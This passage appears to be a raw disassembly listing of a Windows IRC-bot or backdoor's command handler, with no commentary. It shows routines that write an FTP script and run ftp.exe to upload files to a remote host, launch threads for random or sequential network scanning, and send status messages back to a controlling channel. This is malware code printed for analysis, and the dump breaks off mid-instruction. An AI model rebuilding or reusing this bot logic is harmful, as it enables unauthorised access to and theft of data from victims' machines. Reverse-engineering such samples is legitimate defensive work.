sub_401ACD+577Cj call near ptr 2680000h nop push eax push offset unk_42A6DC loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A69C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42A674 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj call near ptr 2680D12h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42A604 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42A5D4 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748D push 5 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431408, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431408 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431408[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42A5A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42A56C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB000 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A504 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h nop call near ptr 26705B3h jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j call near ptr 2680000h nop push eax push offset unk_42A4CC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A47C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40C759 push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h nop call near ptr 26705B3h jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj nop call near ptr 2680000h push eax push offset unk_42A440 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A434 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CAFB4 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A3D8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C668 push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h nop call near ptr 26705B3h jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj nop call near ptr 2680000h push eax push offset unk_42A4CC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A39C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AA push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h nop call near ptr 26705B3h jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj call near ptr 2680000h nop push eax push offset unk_42A358 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A32C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163F9 push ebx push ebx call near ptr 2670659h nop mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h nop call near ptr 26705B3h jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj nop call near ptr 2680000h push eax push offset unk_42A2EC jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A2B0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset byte_414A91 push ebx push ebx call near ptr 2670659h nop mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h call near ptr 26705B3h nop jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j nop call near ptr 2680000h push eax push offset unk_42A278 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A248 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset dword_4137CC push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h nop call near ptr 26705B3h jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj nop call near ptr 2680000h push eax push offset unk_42A210 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A1E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset byte_412A53 push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h nop call near ptr 26705B3h jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j nop call near ptr 2680000h push eax push offset unk_42A1A8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A178 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h call near ptr 26705B3h nop jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj nop call near ptr 2680000h push eax push offset dword_42A13C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A110 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset byte_412E9D push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h nop call near ptr 26705B3h jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j nop call near ptr 2680000h push eax push offset unk_42A0D8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A0A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] nop call near ptr 2690C0Ah test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A07C push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A070 call sub_41814C pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A040 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset byte_416CAD push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h nop call near ptr 26705B3h jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j call near ptr 2680000h nop push eax push offset unk_42A004 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add 